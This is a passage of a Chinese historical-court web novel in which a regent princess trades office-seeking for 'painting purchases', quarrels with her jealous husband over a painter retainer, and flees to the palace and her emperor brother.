但袁增没什么深意,就是得到了儿子的警告,知道自己当日在含清宫的举动越界了,这会儿要赶紧避风头。可桓廊就想着,别看年初的时候为了打死府上侍妾的事情,大将军也和长公主闹得这般难看,但那毕竟是家务事。长公主还是袁家妇,她权势滔天,对大将军来说也未必是坏事。
这些日,大朝会虽不开了,重臣议事还是要见面。大部分的事情都是在尚书台议定的,长公主召了桓廊几次,他不来,长公主就亲自摆驾过去。大将军始终没出现,明绰就看出来尚书令和大将军之间这暗流涌动了。
“还是皇兄有本事。”明绰跟敬漪澜半真半假地感叹。同样是拆袁、桓两家的利益联盟,她今年使尽了浑身解数,反而让他们更加团结起来对付她。而萧盈只是轻轻一拨,他们就这样自动分崩离析了。
敬漪澜听完了也只是笑笑,似是并未觉得萧盈就比明绰高明到哪里去。
“你若是也在他那个位置上,行事也会便宜的。”
明绰下意识就是“嘶”一声,从镜子里瞪她。敬漪澜自知失言,但也没紧张,不紧不慢地找补了一句:“我是说,长公主亏在不是男儿身。”
这倒也不能算完全乱找补。她跟桓廊和袁增掰手腕,越掰他们就粘得越紧,可不就是因为她是一个女子?明绰笑着摇了摇头,举了一枚花钿到额间,还是从镜子里看她:“这个?”
敬漪澜摇了摇头,自己走到明绰身边,正给明绰梳头的婢女赶紧让了个位置,明绰就拉着她坐到了自己身边。
敬漪澜一边在明绰妆奁里找合适的花钿,一边随口一说似的:“袁将军一直在房外,像是在等你。”
“等我?”明绰睁了睁眼睛,转头去看阴青蘅。
阴青蘅马上回报:“将军早上在练剑。”
明绰便“哦”了一声:“他有什么好等的,有事儿进来说就是了。”
他又不要跟外人一样递个名帖等着长公主召见。
敬漪澜就笑了一声,什么也没说。明绰感觉她笑得意味深长的,扭头看着她。她没挑出满意的花钿,就拿起了细毫笔,蘸了胭脂膏,要在明绰额间画。
明绰也不躲,随她动手,只是问:“你笑什么?”
敬漪澜看着她的眉间:“他想跟你说的事情,你想听么?”
果然,明绰微微垂了眼,不说话了。敬漪澜没给她画花瓣,反而几笔画出了流云飞燕,轻盈又新颖,引得身边婢女都啧啧地叹。明绰自己看不见,赶紧照镜子,一看确实是好,跟她今日梳的盘云髻甚是得宜,便笑起来,在镜子前左看右看。
敬漪澜把笔放下,又把刚才的话捡起来:“那你就打算这么晾着他?”
明绰还在端详额上的纹样,没说话。
那天晚上,袁綦在袁府看着桓湛来把阿嫂接走就回来了。他把白日里陛下说的话告诉了明绰,还是一副惊魂未定的样子。他当然还是想求情,无论他觉得父亲有多么不对,他都不希望陛下真的处置父亲。
当时明绰尚且没想通萧盈为什么要这样威胁袁綦,这几乎就是在给袁增提醒,不像是当真要杀他。直到加封镇国长公主的旨意下来,她才明白了皇兄的意图。
她并没有答应袁綦什么。
不久之后,长公主先提了谢运,命他任司马,形同大将军副手。谢运在趃榆大捷中当居头功,但当时陛下厚赏了袁綦、桓湛,却对谢运态度一般。陛下没有因为谢后一事牵连到谢运,但也不再另行封赏了。
但如今长公主有特许的摄政监国之权,她要提谢运,陛下竟然破天荒地没说什么。袁增不满,但无济于事,连他的亲儿子都在朝上说,谢运居功至伟,大才堪用。
袁增把袁綦叫回去痛骂了一顿,提醒他别忘了他和长公主的孩子是死在谁手里的。他不提还好,提起来袁綦便也要问了,是谁先气得明绰动了胎气?又是谁煽动朝野,逼得长公主去谢后宫里听训女德?
父子两个不欢而散。袁綦回来,明绰就没再听见他为父亲求情的话了。
随后,长公主又新设了一个虚衔给谢维,称公主令史。长公主的说法是,谢维当年有过,已罚了,后来有功,却并未赏。陛下仁爱英明,赏罚皆要分明,此举是为了洗清谢维的名誉,废后之过,与谢维无涉。
很多人就摸不着头脑了。说谢氏东山再起吧,谢维这个职位就是个虚设,没有具体的职务,也不知道分属哪一台、哪一部。可要说他无权,他又直接听命于长公主,传达长公主的意志。
没有具体的职务,却有如此硬的靠山,那就是什么事儿都能插一嘴的意思。
大将军现在仍是大将军,但明眼人都看得出来,袁增被谢维父子夹攻了——长公主将谢维的平城会谈之功大书特书,所有人就得想了,那是谁,隐瞒了谢维这么大的功劳呢?答案不言而喻。
到这个时候,桓廊也看明白了。长公主记仇,没有要好好做他袁家妇的意思。但袁、桓两家已经拆了,袁煦也算是半废了,他还有没有必要去帮袁增一把呢?
袁綦就此陷入了两难之中。
明绰看出来了,无论怎么对父亲生气,一个“孝”字压下来,袁綦就是做不到坐视不理。他想求情,又不知道如何向妻子开口。这副样子,简直又和当年他们刚成亲的时候差不多了。不过那个时候袁綦还能恨,自居为臣也不过是他报复明绰的方式。可是现在他已经不敢恨了。
他的妻子永远比他位高,这一点,袁綦从一开始就知道。他甚至还说过愿意像个男宠一样,只要能陪在她身边——现在想来,也不过是一句调情的话而已。小将军太骄傲了,能跪一时,却不能一直跪。明绰现在看着他,能从他眼睛里看到一种无措。从来没人教过他,夫妻亦为君臣的时候,他该如何自处。
“晾着吧。”明绰说得很平淡,听起来已经没有了继续谈论袁綦的意愿。
她当然可以轻松地去开解袁綦的为难,但她偏偏不愿意。她曾经也与乌兰徵既为夫妻、亦为君臣,她就知道应该怎么办。敬漪澜当年陪伴萧盈左右,她也知道。难道这种事情,就是女人天生应该知道,男人却怎么学都学不会的吗?没有这样的道理。
敬漪澜便也没再说什么。府吏又到了门前,这回手里捧了更多的拜帖,她看也没看。今日要见的人,拜帖她都已经留下了,再来也见不了了。阴青蘅得了令,让那府吏出去传话。敬漪澜便在旁边笑:“还好我今日来得早。”
明绰已经妆扮完毕,最后在镜前抚了抚步摇上坠下来的长长流苏,笑着瞪了她一眼:“那你有何贵干?快说。”
“也没什么,就是来给你通个气。”敬漪澜似笑非笑的,“大将军好心,替我儿说了门亲。”
明绰愣了一下,转过头去看着她:“你儿……?宋询?”
“嗯。”敬漪澜点了点头,不笑了,“要把王勤的孙女嫁给他。”
第170章
袁綦从内院里走出来,迎面撞见一个青衣文士,正从别院方向过来,身后还跟着七八个仆役,两个人各捧一卷画,另外的都拥着走。
袁綦脚下一顿,被他这排场吸引了注意力。
此人他认得,明绰说这是鱼先生,年节的时候崔庆英献的丹青手。他刚从益州回来那会儿,天气还热着,明绰总让把晚饭设在水榭亭中,图晚风凉快,袁綦就看见这位鱼先生几乎天天都来,隔着水,给长公主画像。
长公主一向风雅,常以财帛资助文人雅客,让他们在建康扬名,得了长公主青眼的,直接养在公主府别院中作门客,也不稀奇,这位鱼先生便是其中之一。袁綦偶尔在外与同袍应酬,也听说了,建康今年最稀罕的东西,就是这位鱼先生的画,那当真是万金都难求。
身价贵了,人就也傲气。他与袁綦迎面而遇,竟也没有要停下行礼的意思,只是略一颔首,仍旧昂着头,带着身后的一干仆役往前走,看方向明显是要去长公主待客的正厅。
袁綦张了口:“先生留步。”
鱼先生一怔,没想到袁綦会拦他。但也不好当没听见,只好转回身,朝袁綦施了一礼:“将军有何吩咐?”
袁綦双手背在身后,打量了他几眼。
虽已名满建康,但这位鱼先生年纪不大,约莫二十五六岁。身形清减,脸色白到有些泛出透明,像女子敷过了粉。但看他抬起来施礼的那双手,就知道他本来就是这个肤色。手背上青筋明显,但手指莹润修长,骨节分明,指间仍有未褪的颜料痕迹。整个人瞧着不大康健,青衣罩在身上也是松松垮垮的,一走起来,被风一荡,简直像在平地上飘。除了个头不够高,这副姿容,倒是像含清宫里那位。
陛下的姿容世无其二,建康文人向来有此风尚,都学得病歪歪的。只是陛下那种近乎发青的玉白肤色是长久的病气所致,旁人要学,多是服寒食散。瞧这鱼先生的样子,怕是吃得太多了。
袁綦看不惯这种风尚已不是一日两日,但也不知道今日哪来一股尤其的不痛快,眉头一皱,已是满心不悦。
从前长公主养男宠,托的也是“门客”之名。但袁綦与明绰成亲之时已受辱甚极,明绰没有在这一节上继续羞辱他的意思,当时是特意遣散了某一些“门客”的。后来他出征的时候明绰还怀着孩子,所以袁綦没往那方面想过。
这会儿他看着鱼先生,心里却不受控制地浮起来一个疑问。
世家门客,但凡挣到点名气或是仕途,都不太会愿意继续寄居檐下。他的画在外头都卖到万金了,为何还留在公主府?
袁綦把人叫住,却又不说话,鱼先生便抬头直视着他,从眼神到姿态都算不得恭敬,不耐烦的神情甚至懒得掩饰。
袁綦看出他的情绪,暗自紧了紧牙,客客气气地问:“先生要往哪里去?”
“长公主要小人陪着见客,”鱼先生皮笑肉不笑地牵了牵唇角,“袁将军见谅,小人可不能让长公主等。”
“不急,长公主还没梳洗好。”袁綦悠哉地往前踱了一步,对仆役手里捧的画很感兴趣,拿了一卷起来,一边随
口一问似的,“长公主见客,为何要你作陪?”
“小人是去献画的。”
袁綦追问:“献于何人?”
鱼先生没答,只是笑了一声。他自恃才高,又背靠长公主,本就不把大多数人看在眼里,袁綦在他眼里也不算什么。
袁綦手里已经把画展开,脸色顿时就阴了。只见画中女子云鬓峨然,颊粉额黄,体态轻盈,隐在流云之中,飘飘若仙。袁綦看出那女子的神态像谁,恼火地看了他一眼,将丹青随手掷于脚下,劈手抢过另外一幅,展开,仍是极为相似的面孔。这一次不是翩然神女,而是日常游戏于花丛间的仕女图。画上的女子穿的还是无袖的罗衫,两臂仅是各戴了臂钏,背后那回廊花丛一看就是公主府的内院。
虽然想也知道他不敢明说画上的女子是谁,但他的画为何能万金难求,答案不言而喻了。
袁綦克制了一下火气,又问了一遍:“先生要献给谁去?”
“谁来求,小人就献给谁。”
袁綦从牙缝里挤出来一句:“你没有别的画可以献了吗?”
鱼先生只是笑笑,没把袁綦的脸色放在心上:“小人只画这天下最美的女子。”
他使了个眼色,让人把画捡起来。仆役觑着袁綦的脸色,小心翼翼地去捡被他掼在地上的画。鱼先生等他们都捡起来了,便十分敷衍地行了一礼,转身欲走。
袁綦一声低喝:“站住!”
——
“王勤的孙女?”
明绰从镜中看着敬漪澜,一句“王勤疯了?”险些脱口而出,好歹顾及了她的感受,没说出来。转念一想,就知道袁增在琢磨什么了。
他在陛下那边不得脸,长公主这头又咄咄逼人,自然是把所有的宝都押到平阳王身上了。平阳王虽有不足,但跟建安王比起来,他胜在已成年。两边相抵,平阳王就只剩下一个污点——宋家人。
明绰实在忍不住揣度,袁增是不是自己出身也不高,才不像建康其他世家那样根深蒂固地看不起宋家人。他要把王氏女说给宋询,那就是要把王勤拉到平阳王那头去。
但王勤会不会答应,还真的不好说。
明绰对王勤的了解不多。在她还小的时候,王氏的大宗是王诃那一支,王勤只是旁支,不太受族中的重视。但他格外争气,凭自己的才学进的尚书台,从度支曹的书掾做起,上手就是土地税收等等实务。明绰与他有限的几次交道下来,印象就是他很会算账,国家税入多少支出多少,直到今天他都是了然于胸,张口就来。萧盈给他的评价也是实干,谨慎。
王勤从前并不是一个谨慎的人。明绰记得,当年他只是因为认同谢太后的施政,深恐小皇帝冒进好战,废了这么多年与民休息政策的心血,就甘愿为谢太后联络朝臣,造萧盈的反。后来才变得谨慎了,都是感念陛下宽仁,不敢行差踏错。可是明绰总觉得,虽然他现在与尚书令同进退,但和桓廊那种只因长公主是女子便坚决抵抗的态度是不太一样的。
但说到底,这些跟他会不会支持平阳王没有什么关系。王勤要是聪明,就会像陈缙一样,虽然一心催陛下立储,但绝口不提议立谁。选谁即位,他都是辅政大臣,着急站队才会犯陛下的忌讳。
何必非要选平阳王呢?总不能是因为他也喜欢秧儿算数算得快吧?
明绰一时也不知道该作何反应,敬漪澜来跟她说这个,是要她想法子促成一二么?但又不像是她的为人。她只好看着敬漪澜的脸色,一面试探着:“王勤虽非王氏大宗,但王诃死了这么多年,王家最有出息的还是他。来日以公卿入太庙,宗祠都要从他这里重立,是不是大宗倒也不算什么。这是门好亲事,你也能放心询儿……”
她话还没说完,敬漪澜就了然地一笑:“询儿有什么资格挑人家是不是大宗?”
“话也不是这么说。”明绰叹了口气,“你也别让这些世家们吓住了,真正百世流芳的都死在前朝啦,如今在建康门第煊赫的,往上数,谁知道是哪里蹦出来滥竽充数的?询儿毕竟是平阳王的兄长,他若能娶王氏女,等到了你的孙辈,就不会有人这么看不起宋氏了——远的不说,你看大将军他们家,也不见得真的是淮梁袁氏后人,如今不也是……”
“袁家有今日,靠的是他父子三人平边拓土的军功,不是他们宣称自己是淮梁袁氏。”
敬漪澜心里明镜儿似的,这就是个锦上添花的东西。当初宋询跟他那些狐朋狗友在酒馆欺负袁韶音,让袁綦碰上了。袁綦收拾他们轻松得跟玩儿似的,宋询能跟袁家谁比啊?他连这个锦都没有,添花又有什么用呢?
“询儿现在文不成武不就,王勤就是想站在秧儿这一头,也看不上他。”敬漪澜说得十分直白,就跟那不是她亲儿子似的,“大将军若要促成此事,只能先为询儿求官。”
明绰马上松了口气,终于听明白了来意:“我以为什么事儿呢……”
敬漪澜把脸一板,明明白白道:“我不是来跟你卖我的情面的。我是来告诉你,万不可给询儿官做。”
明绰让她说得愣了愣:“可是……”
“你是知道我的,”敬漪澜看着她,“当初我也是亲口答应了宜华,秧儿不会去争这个大位,不会让韶音跟着朝不保夕……”
明绰苦笑一声:“只怕如今不是你们母子想不想的事。”
敬漪澜一摆手,非常笃定的样子:“陛下绝不会选秧儿的。”
明绰一时有些沉默,其实一直到现在,她都不敢这么笃定地说皇兄不会选秧儿。虽然萧盈嘴上说的是担心稷儿年纪太小,但明绰知道,他心里还有一层介意,就是稷儿身上谢氏的血脉——尤其是她现在起复了谢维,萧盈不忌惮是不可能的。
陛下到底会怎么选,谁都不敢确定,敬漪澜却说得这样斩钉截铁,明绰心里就隐隐地又翻出一层久远的不适。
上一次泛起这种感觉,还是在上阳宫里听敬漪澜说起她与萧盈的过去。即使当时明绰心里很清楚他们早就分道扬镳,但还是忍不住泛起一股蛮不讲理的醋意。因为她竟然不是这个世界上最了解萧盈的人。
明绰掩饰什么似的,抬起手抚了抚眉尾。她实在不应该到今日还泛起这种情绪。
敬漪澜没有察觉到她的轻微异样,仍在往下说:“询儿让他父亲教养坏了,空有贪心,却无本事。他若是得了官位,娶了贵女,不自量力地卷到他根本不了解的事情里来,早晚要惹祸上身,家破人亡的!”
明绰心不在焉地一哂,只道:“何至于此?你别自己吓自己。”
她一边说已经一边站了起来,敬漪澜和她一道走了出去,很不放心似的,还跟明绰强调千万不能让宋询如愿。
明绰都哭笑不得了:“是不是你亲生的呀?”
“就是我亲生的我才——”
明绰没让她说完:“真不至于,有多大的本事惹多大的祸。袁增最多就是给他求个虚职,说亲的时候拿得出手也就罢了,哪会真给什么实权呢?”
敬漪澜眉头紧皱,还是一副很不放心的样子,刚要开口,明绰一下子站住了脚,很严肃地看着她:“你这样,他会怪你的。”
当初拖延立太子一事,晔儿就怪她了。
但是敬漪澜一副面冷心硬的样子:“他现在也不见得多念我的好。”
明绰便只有叹气,出了内院。长公主准备接见的人已经都被引到了正厅,正候着。还未走近,便能看见每个人手里是捧着礼的。
敬漪澜识相止步,微微屈膝,恭送长公主。明绰却一把抓住了她的手,只道:“你随我一起去应付应付。”
敬漪澜一怔:“嗯?”
明绰只是笑:“带你去看看,如今到我这里求官的都是什么人,见了你就知道,你儿子算是好的啦!”
国家的中枢依然是尚书台,朝会不开,真正的要紧事都是在尚书台衙署
决定的,公主府上络绎不绝的不过是来求官求门路的闲人。公主府夜宴一度名满建康,连市井草莽得了长公主举荐都能登堂入室,更何况如今加封了镇国二字。
敬漪澜让她拽着,一时推拒不得,又看见那些人手里的礼,就有些咂舌,压低了声音:“你这……这么明目张胆……?”
从前也就罢了,卖的是到陛下面前的情面,那是私对私。如今长公主被特许摄政监国,就是公对公,她却在这里卖官鬻爵,滥权擅政,陈缙岂能放过她?
“我明目张胆什么了?”明绰跟她装傻,“他们都是懂画之人,来向鱼先生求画的。今儿就两幅,还得抢呢。我呀,不过附庸风雅,在旁边跟着凑个热闹罢了。”
这下倒是敬漪澜愣住了,神色一时十分精彩:“要我这辈子也想不到还有这样刁钻的法子……”
“我也想不着。”明绰压低了声音,跟她说实话。这还是年头上姜川带着他的学生,跟崔庆英一块儿来的时候跟她暗示的。当时就拿一株珊瑚树换了鱼先生一幅画,事儿传出公主府,鱼先生的身价一下子就起来了。
“我疑心就是他们两口子算计好的。”明绰摇摇头,“这两人十几年睡不进一个被窝,把心挖出来数数,怕是一样多窍……”
她拉着敬漪澜说了几句,已经到了正厅门前。众人都纷纷朝长公主见礼,见她今日妆扮清丽,夸得更是天上地下,争先恐后,肉麻谄媚。敬漪澜登时皱了眉,一副听不下去的样子。明绰只当没听见,但把正厅扫了一圈,却没见到那鱼先生。
阴青蘅此时已经发现他没在了,不必明绰交代,已出去叫人问明了原委,再回来,迅速趋步到明绰身边,小声向她汇报。
“鱼先生走了。”
明绰意外地抬起头:“走哪儿去了?”
“出府了。”阴青蘅声音更小,露出了些许为难的神色,“将军做的主,拿了一笔钱,将鱼先生打发出去了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第171章
袁綦推门进来的时候,明绰刚把头上的步摇拆下来,听见动静,抬眼从镜中看了他一眼。阴青蘅马上从长公主身边起来,几个围着伺候的婢女看见了她使的眼色,也赶紧跟着站起来,微微屈膝,行礼告退。
袁綦站在明绰房间门口,微微侧身等阴青蘅她们先退下,人走空了也没近前来,姿态十分恭敬。明绰就没忍住在心里冷笑了一声,看来他也知道她会不高兴。
但她垂了眼,神色淡淡的,没表现出不高兴的样子,只把步摇塞进了妆奁的小抽屉里,站起来主动朝他走过去。
“去哪儿了?”明绰绕到他身后,给他脱外袍,“还想等你一起用饭,满府里找不着你人。”
袁綦似是意外她这个态度,有一瞬间的怔愣,但还是顺着她把自己的外袍脱了下来,一边回:“父亲叫我去了一趟。”
“又有什么事?”明绰给他把外袍挂起来,又折回去,仍跟没事儿人似的,抓了他的手给他拆束袖。
袁綦还是看着她,竟没回答。
这都是很平常的妻子招呼回来的丈夫的举动,但明绰已经很长时间没有这样的表现了,反正他方才回来,听见府里人传话说长公主在找他的时候,确实没想到等着的会是他的妻子。
袁綦手腕轻轻一晃,配合着从束袖里脱出来,反问她:“你今日没入宫吗?”
自从加封镇国长公主,明绰每天也就早上那一点儿时间是在公主府里的,打发完那些人,她往往要亲自去尚书台。若是无事,中午就能回来,若是有事,议起来就没个准了。长公主和尚书令经常意见不合,争论起来是常事,能及时回来的情况屈指可数,就是回来了,也往往要召谢维来议事。
但无论她午饭是不是能回公主府用,事毕了是一定要进宫的。不只是看陛下,还要去看建安王。那孩子还是由裴贵嫔照顾着,裴贵嫔没有强势的母家撑腰,没有什么犹豫就投靠了长公主,如今孩子的开蒙、起居,其实都是长公主说了算。
有些时候一耽搁,宫门关了,她就直接留在宫里,根本都不回来。
她突然说今晚在家等他吃饭,倒把袁綦听愣了。
明绰又给他解身上挂的配饰:“你是不是觉得我近日冷落了你?”
袁綦便又沉默了。
他刚从益州回来的时候是搬回了明绰房里的。但当时桓宜华私下里问了罗太医,不知道长公主这个身体以后还能不能有孩子。罗太医又说不好讲,只是小产毕竟伤身,最好还是再休养一年。桓宜华心疼明绰,跟袁綦说了,袁綦就自己去了另一间房住。后来陛下突然病重,长公主又一直在宫中侍疾,自那时起,他就没再来过妻子房中。
“没有。”袁綦牵了牵嘴角,轻轻握了握明绰的手,“我知道你
有要紧的事。”
明绰抬头看了他一眼,嘴角有一点儿想笑出来,但又忍着的表情。她听说是袁綦把鱼先生打发走的时候,就大概想到他是为了什么。当时那一刻,心里是恼火的,只是不至于那么恼火。按照袁綦从前捅姜逯的性子,这次都算客气的了,到底是有长进。
明绰轻轻地把手抽了回来,转身把他的束袖和玉佩什么的都到床头收好,又问了一遍:“大将军叫你回去有什么事?”
袁綦也没瞒她:“父亲想让我给丰喜县侯的儿子安排个录事参军。”
明绰闻言就笑了一声,袁增的动作还真是快。
“这点事儿还要找你?”明绰回头问他,“大将军自己办不了吗?”
袁綦就补了一句:“益州录事参军。”
明绰“哦”了一声,听懂了。
袁綦的都督府其实是设在成都的,只是因为他同时是驸马,战事平了,益州自有刺史,陛下才特许他留驻京师,陪伴长公主。录事参军已经是个不太要紧的文职了,益州录事参军,还在建康,那明眼人一听就知道这不是个做实事的。就像早上明绰对敬漪澜说的那样,不过是让人知道,宋询以后就是袁氏门下,去王家说亲的时候方便些。
“你答应了?”
袁綦让她问得一愣,他是答应了,但明绰这语气让他怀疑起来。
“我不该答应吗?”
明绰便也没说什么。她本来就觉得敬漪澜是自己吓自己,没什么必要。但敬漪澜那么坚决,她本来也是打算要是求到她这里,就回绝了的。但现在袁增既然绕过了她,她也没必要在这种小事上为难。
明绰有点儿心不在焉地回他:“答应了就答应了吧。”
袁綦再一次皱了眉,其实他会答应父亲,也是因为早上看见了敬夫人,想着她多半是来求此事的。但明绰这个态度让他有点儿困惑,同时还有一点不太舒服。
难道现在只要是父亲的意思,她都不高兴吗?
夫妻两个一时没什么话说,明绰想起来她妆还没卸完,又坐回镜前,自己擦眉间的流云飞燕。袁綦也不动,怔怔的,等她发落似的。明绰就从镜子里看了他一眼:“叫人进来伺候你梳洗?”
这意思还是要他今晚留下。袁綦感觉到明绰并没有要跟他追究白天发生的事情的意思,神情顿时松快,走到明绰身后,跪坐下来,把人圈进了怀里。明绰歪了歪头,避让他的鼻息,袁綦就顺势在她颈窝里蹭了两下。她身上好香。
明绰脸擦了一半,从镜子里看见他的神情,没忍住笑了一声。感觉他从进屋开始就跟狗似的,要从她这儿确认地听到留他的意思,才敢凑上来。凑得也有点急,饿得狠了似的。她往后一靠,整个人窝进了袁綦怀里,把手抬起来,反折过去在他鬓角摸了一下,袁綦的手就往上移了两寸,在她胸口揉。
明绰“啧”一声,在他手上一拍,没忍住骂他:“这会儿又轻狂起来了?你以后再敢自作主张……”
袁綦也不听她在说什么,含住了她的耳垂用牙轻轻地磨了一下,含含糊糊地答应:“不敢了。”
“一个门客而已。”明绰含着笑安抚他,“以后我让他别到你眼前来,你跟他一般见识什么……”
她话还没说完,袁綦突然听明白了什么,松开了妻子。
“他回来了?”
明绰的眼神避了一下,重新坐直了面对镜子,轻轻地“嗯”了一声。
当时就让人去请了。本来明绰还是想教训袁綦两句的,结果阴青蘅回来说,鱼先生居然有胆子跟她拿腔拿调的,说受了折辱,不来了。
明绰就叫人过来一问,原来是鱼先生对将军十分不敬,这才惹得将军把他打发了,她顿时又觉得这蹬鼻子上脸的东西真是活该。她说不用再去请了,随他去,结果那人反而自己厚着脸皮回来了,甚至比袁綦回家得都早。
就这么点儿事儿,小孩儿打闹似的,荒谬得都让她发笑。
今天袁綦不在,明绰等着等着,想到敬漪澜早上说袁綦在外面等着见她,又没忍住心软了一点,觉得最近也确实是太冷落了袁綦。
他现在也不在她面前提父亲了,不是吗?毕竟做了这么多年的好儿子,能屡次跟父亲正面对抗,已是有长进了,要求他一下子完全站到父亲的对立面,也是强人所难。
而且这个冷落的理由,她多少是有点儿心虚的。
“你不要多想。”明绰叹了口气,准备跟袁綦好好说,“我留着他只是为了……”
袁綦整个人站直了,退了一步,突然接了一句:“为了他的画?”
明绰不得不抬起头看他:“是。那些人都是为了求画……”
袁綦转头又坐回了床边。他当然知道明绰那点儿小把戏,明绰没跟他说,是他要赶鱼先生走的时候,鱼先生说的——当然,他是以此来威胁,认为长公主会因此惩治袁綦。
“他画的都是你。”
明绰也站了起来,皱着眉头看着他。她没想跟袁綦吵架,但是看起来袁綦今晚非要跟她吵架不可。
“所以呢?”明绰看着他,“你在疑心什么?”
“我不是疑心他……”袁綦的话音断了,他克制着,咬了咬牙,重新说,“他若是私自画你也就罢了,他还把那些画流出去……”
明绰的脸微微往后一仰,她听明白袁綦在生什么气了。能够到长公主府上拜访的当然也不会是寻常人,得到那些画的也都是高门世家的子弟。他们收藏长公主的画像,当然是非常逾矩的行为。可以被理解为对长公主的投靠和支持,但也同样有可能会被解读为私情——尤其是,长公主多年来都被指责私德败坏,秽|乱好淫。
明绰动了真怒:“你想得怎么这么龌龊?”
袁綦抬起眼睛看她,怒火也在他眼中跳动,尽管他什么都没说。不是他想得龌龊,事实就是如此。哪怕长公主没有这个意思,这种风气流行起来,必然鼓励了某些人的非分之想。今日打着求画的名义来求升官门路,明日就会有人来自荐枕席了。
他是驸马,不能生气吗?他不该生气吗?
明绰笑了一声:“原来说到底,你是觉得损了你自己的颜面啊?”
袁綦梗着脖子,只道:“陈缙不会被这点把戏糊弄过去的。”
“什么意思?”
袁綦没有重复第二遍。到公主府求画是什么意思,在建康已经传开了,传到陈缙耳朵里就是个时间问题。
“你已经是镇国长公主了,”袁綦看着她,带着他自己都没有想到的审判口吻,“何必贪图这点?弄得朝中乌烟瘴气……”
明绰站在那里,张了张嘴,竟然让他气得说不出话来。
好一个“你已经是镇国长公主”了,言外之意,好像这个摄政监国的特权都已经是额外的恩赐,她就应该知足,应该感恩戴德,应该低下头不要再做任何多余的事情。
可是她甚至一开始都进不去尚书台。桓廊有什么事情都不肯主动告诉长公主,闭起门来把她排除在外。明绰是叫上了谢维和谢运,让他们带着兵,硬是敲开了尚书台的门,把陛下的圣旨又念了一遍,桓廊才不情不愿地接受了这个现实。直到现在,他都还在用各种方式排挤明绰。有多少次,她到尚书台的时候,只有一句冷冷的敷衍,说已经拟定了章程,送去中书复核了。
她不知道卖官鬻爵有违国法吗?她不只道这样弄会搞得朝廷乌烟瘴气吗?她难道真是贪图这点钱财吗?可是按照他们的规则来,就只有被步步逼退的下场。难道只允许桓廊滥用职权地排挤她,不允许她滥用职权地笼络人心吗?
“好个清正不阿的袁将军,好个一心为国的安西侯!”明绰冷笑了一声,“教训起我来了?”
袁綦闭了闭眼:“我没有……”
明绰打断他:“我宁可你只是妒忌。”
她本来真的没有生气,如果袁綦只是想吸引她的注意力。可是他就是不能坦白他就只是在吃醋而已,非要抬到她搞得朝局不清明这么大的层面上来指责她。
袁綦沉默了一会儿,又呼出一口气:“我应该妒忌什么?你不是说,‘只是一个门客’吗?”
“他就是一个门客!”
“那我连驱逐一个门客的权力都没有吗?”袁綦声音抬高了,“这还是我家吗?”
明绰一句话也不想跟他说了,走到屏风前抓起了自己的外袍往身上披,转身就要出门。她妆容已经卸干净,发髻都拆了一半,还往外走,袁綦就站起来跟了一步,问她:“去哪儿?”
“进宫。”明绰用力地抖了抖袖袍,把外袍穿好,“我今日还没去看皇兄……”
她竟然因为最近冷落了他而感到愧疚,竟然为了等他而没有进宫。真是想来都可笑。
袁綦听见这句话,突然一把抓住了她要去开门的手。用的劲太大了,几乎把人整个带进了怀里。明绰被他吓了一跳,回头看到袁綦的表情像是要吃了她。
“每天都要去看他吗?”袁綦问她,“现在已经什么时辰了?”
明绰想挣开他:“放开我!”
可是袁綦没放,他第一次对明绰这么粗暴——曾经他只是在床上非常粗暴,不会这样无礼。明绰空着的手扬起来,“啪”地在他脸上打了个巴掌。袁綦退了一步,终于松开了她。
“当年温泉宫里,我也在。”他突然说。
明
绰没反应过来他为什么会突然说起这事儿,原本要呵斥的话一下子都噎在了喉咙口。
袁綦看着她:“桓令君说孝景太后如何被先帝召幸的时候,我就在他身边。”
那是桓廊编的。就算当时袁綦只是个半大孩子,他也看得出来,陛下的身世是他们编的。可是这么多年,大家都不提这事儿了,他就是大雍的天子,于是袁綦也顺理成章地忘记了,他们本就不是兄妹。
是什么时候又想起来了?是那天陛下突然来公主府上说的那些话?是那天明绰闯进含清宫的时候看到他那一瞬间的眼神?还是几年前陛下单独召见,他说出他对长公主的倾慕的时候,陛下眼里毋庸置疑闪过的杀意?——他早该知道的。至少他发现阿兄是知道的。
当年送她去风陵渡口,他曾被她临行前的泪眼撕碎了少年心肠。那时以为是她难舍故国,现在想来,原来是故国有故人。
明绰冷了脸:“胡言乱语些什么?”
房间门被打开了,阴青蘅听见了动静,正满脸惊愕地站在外面。明绰吩咐道:“准备马车,我要进宫。”
“现……现在?”阴青蘅一愣,“宫门都关了……”
明绰有些不耐烦,瞪了她一眼。有什么要紧,长公主有直入宫禁的特权,宫门关了就再打开。阴青蘅立刻低头:“是。”
她马上叫人下去准备,明绰又道:“你跟我一起回宫,这几天我留在上阳宫。”
袁綦站在原地没动,明绰说的是“回宫”。那才是她的家。
明绰说完这句话,已经抬脚跨了出去,但又想起了什么,回过头,看了袁綦一眼。
“驸马想赶谁走,就赶谁走。”她赌气地说,“这里当然是你家,你就好好当这个家吧。”
第172章
明绰原本想直接回上阳宫,但是她在宫禁之后来叩宫门,不可能没有惊动到萧盈。长公主的车马才刚进了承天门,任之已经在候着了。
明绰还有点儿嫌丢人,总不能跟皇兄说她是跟驸马吵了架,一气之下回娘家来的吧?可是夜叩宫门,萧盈还当她有什么了不得的事,人都已经睡下了又爬起来,特意等着她。兄妹两个面面相觑了一会儿,萧盈就什么都明白了。
“袁綦好大的胆子。”萧盈神色淡淡的,给她倒了一杯热茶。明绰骤然被他一诈,还以为他这么神通广大,睁大了眼睛:“皇兄怎么知道……?”
“不知道。”萧盈觉得好笑,“不过现在知道是袁綦了。”
明绰反应过来,没好气地瞪了他一眼,余怒未消地端茶来饮。茶是宫人刚泡下的,还烫,萧盈看着她气冲冲地往嘴里灌,想制止都来不及了。明绰烫了一下,更生气了。
“怪不得今日没来。”萧盈垂了眼,说得极为平淡。明绰看了他一眼,隐隐听出他那口气里也颇有一些引而不发的哀怨。
“皇兄今日觉得如何?”
萧盈也不答她这话,不动声色地把手里的茶一放,抬手微微在胸口一掩。明绰下意识紧张起来,听见他说了一句:“晚间是有些喘不上气。”
明绰立刻挨到他身边,抓住他的手,伸手到他脉上。萧盈却没让她摸脉,手指一扣,将她的手牢牢地攥在了手心。轻轻抬眼看着她,眼中似笑非笑的神情。明绰往外抽了一下,他没放,明绰就不动了。两人也不说话,只感觉到萧盈的指腹在她掌心轻轻拂了拂,明绰将脸别过去不肯看他,到底将手又抽了回来。
萧盈只作无事,伸手重新去端茶,问了一句:“袁綦做了什么?”
他不是开玩笑的口吻,明绰反而不好再说了。就为了这么个门客,吵上一架已是小题大做,还特意跟皇兄告状,岂不是笑死人了。
